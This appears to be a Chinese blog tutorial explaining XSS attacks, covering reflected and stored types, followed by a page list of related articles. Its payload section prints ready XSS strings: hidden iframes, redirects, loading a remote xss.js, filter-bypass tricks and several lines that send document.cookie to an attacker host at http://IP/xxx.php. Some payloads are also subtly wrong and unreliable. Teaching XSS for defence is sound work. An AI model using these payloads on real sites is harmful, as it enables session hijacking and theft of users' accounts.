一、概念

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,也是web中最主流的攻击方式
是指恶意攻击者利用网站没有多用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中而盗取用户资料

二、XSS攻击的危害

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击

三、常见的攻击类型

反射性
将恶意代码嵌入到链接中,诱惑用户点击,从而执行嵌入的代码,达到获取用户相关信息的目的
原理


例:
某些网站的检索:http://IP/detail.php?resarch=css
嵌入代码为:<script>alert(‘你被攻击了!!’)</script>
非正常检索:http://IP/detail.php?resarch=<script>alert(‘你被攻击了!!’)</script>
将此URL发送给用户,以其他诱惑性的文字引导点击,从而执行攻击代码

储存型
应用最为广泛,而且直接影响服务器的安全。
是将恶意代码通过页面存储服务器,当用户浏览该页面时攻击代码将自动执行,从而盗取用户的某些信息
危害性非常大
原理


在留言板中填写攻击代码:<script>alert(‘你被攻击了!!’)</script>
保存时会保存在服务器中,当用户浏览该页面时,代码会被自动执行

四、构造XSS脚本
常用的html标签
<iframe>   行内框架,创建包含另外一个稳定的内联框架
<textarea>  定义多行文本输入
<img>      网页嵌入图像
<script>   定义客户端脚本
常用JavaScript方法
alert        用于显示带有一条指定消息和一个确认按钮的警告框
window.location    获得当前页面的URL并把浏览器重定向新的页面
location.href    返回当前显示的文档的完整URL
onload        一张页面或图像完成加载
onsubmit      确认按钮被点击执行
onerror      在加载文档或图像时发生错误
构造XSS脚本
弹框警告
当服务器对特殊字符串<>/'没有做过滤处理时,这个位置存在XSS漏洞
<script>alert(document.cookie)</script> 获得用户cookie
 
如果服务器对<>/'进行了过滤处理,还可以使用实体字符进行尝试
> &gt;
< &lt;
" &quot;
& &amp;
' &apos; 
 
 
 
 
 
 
 
 
 
 
页面嵌套
<iframe src="http://www.baidu.com" width="0" height="0"></iframe>    将嵌套的页面设置最小,用户不容易发现
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
弹窗警告并且重定向
<script>alert("请访问最新域名");location.href="http://IP/xxx/xxx.text"</script>
当访问该链接时执行恶意代码
访问恶意代码
<script>src="http://IP/xss.js"</script>
通常hacker会自己搭建一个服务器,访问时执行xss.js
使用图片标签
<img src="http://IP/xss.js"></img>
绕开过滤的脚本
<ScRiPt>alter('xss')</SCripT>    绕开大小写的限制
<a href="d3d3LmJhaWR1LmNvbQ==">最新域名</a>    使用字符编码绕开部分限制
获取用户cookie
<script>window.open("http://IP/xxx.php?cookie="+document.cookie)</script>
<script>document.location="http://IP/xxx.php?cookie="+document.cookie</script>
<script>new Image().src="http://IP/xxx.php?cookie="+document.cookie</script>
<img src="'http://IP/xxx.php?cookie='+document.cookie"></img>
<iframe src="'http://IP/xxx.php?cookie='+document.cookie"></iframe>
 
 

XSS攻击介绍的更多相关文章

  1. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

  2. 第二百六十五节,xss脚本攻击介绍

    xss脚本攻击介绍 Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常 ...

  3. XSS攻击简单介绍

    之前由我负责维护的一个项目被检测出存在可能被XSS攻击的漏洞. 吓得我赶紧恶补了下XSS. XSS,全称为Cross Site Script,跨站脚本攻击,是WEB程序中一种常见的漏洞.其主要的攻击手 ...

  4. 防御XSS攻击的七条原则

    本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS ...

  5. validateRequest="false"属性及xss攻击

    validateRequest="false"   指是否要IIS验证页面提交的非法字符,比如:>,<号等,当我们需要将一定格式得html代码获得,插入数据库时候,就要 ...

  6. XSS攻击(出现的原因、预防措施......)

    验证XSS攻击重点不是去查找可输入哪些内容会出现什么样的bug就是测试XSS攻击,重点是了解它出现的原理,为什么会出现XSS攻击,导致一些问题出现?如何防御与解决XSS攻击?以下我将简单介绍以上提出的 ...

  7. DVWA 黑客攻防演练(十一) 存储型 XSS 攻击 Stored Cross Site Scripting

    上一篇文章会介绍了反射型 XSS 攻击.本文主要是通过 dvwa 介绍存储型 XSS 攻击.存储型 XSS 攻击影响范围极大.比如是微博.贴吧之类的,若有注入漏洞,再假如攻击者能用上一篇文章类似的代码 ...

  8. XSS攻击常识及常见的XSS攻击脚本汇总

    一.什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了. 这里我们主要注 ...

  9. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

随机推荐

  1. leetcode — spiral-matrix

    import java.util.Arrays; /** * Source : https://oj.leetcode.com/problems/spiral-matrix/ * * Created ...

  2. Django学习笔记(3)——表单,测试和模板语法的学习

    一,表单form 为了接收用户的投票选择,我们需要在前段页面显示一个投票界面,让我们重写之前的polls/detail.html文件,代码如下: <h1>{{ question.quest ...

  3. 分布式系统监视zabbix讲解三之用户和用户组--技术流ken

    概述 Zabbix 中的所有用户都通过 Web 前端去访问 Zabbix 应用程序.并为每个用户分配唯一的登陆名和密码. 所有用户的密码都被加密并储存于 Zabbix 数据库中.用户不能使用其用户名和 ...

  4. 使用JS模拟锚点跳转

    A-HTML锚点定义: 设置锚: <a href="#mao">&nsbp;</a> 设置点:(为了浏览器兼容性,id和name一起设置) < ...

  5. 博客使用base64编码图片测试

    为了解决发博客时需要先要上传,所以查了一下这个方法 1.把本地图片转为base64编码的字符串, 网上有很多提供这个功能的网站,转换后像这样 data:image/jpeg;base64,/9j/4A ...

  6. php中的implements 使用详解

    php类中接口的应用关键字是interface.implements了,接口是一种成员属性全部为抽象或常量的特殊抽象类,implements主要是对类名,类所拥有的方法,以及所传参数起约束和规范做用, ...

  7. mybatis_02简单操作数据库

    模糊查询用户信息 <!-- [${}]:表示拼接SQL字符串 [${value}]:表示要拼接的是简单类型参数. 注意: 1.如果参数为简单类型时,${}里面的参数名称必须为value 2.${ ...

  8. Netty实战九之单元测试

    ChannelHandler是Netty应用程序的关键元素,所以彻底地测试他们应该是你的开发过程的一个标准部分.最佳实践要求你的测试不仅要能够证明你的实现是正确的,而且还要能够很容易地隔离那些因修改代 ...

  9. Linux 系统的安装 (最全收集)

    在几年前,我曾经多次萌生抛弃Win系统,从而使用Linux系统-----(Ubuntu),但是我每次都会遇到同一个问题,TM怎么安装啊. 不是安装奇慢就是不知道安装的方法. 怎样安装Ubuntu操作系 ...

  10. setTimeout()与clearTimeout()

    setTimeout(code,millisec)setTimeout() 只执行 code 一次.如果要多次调用,请使用 setInterval() 或者让 code 自身再次调用 setTimeo ...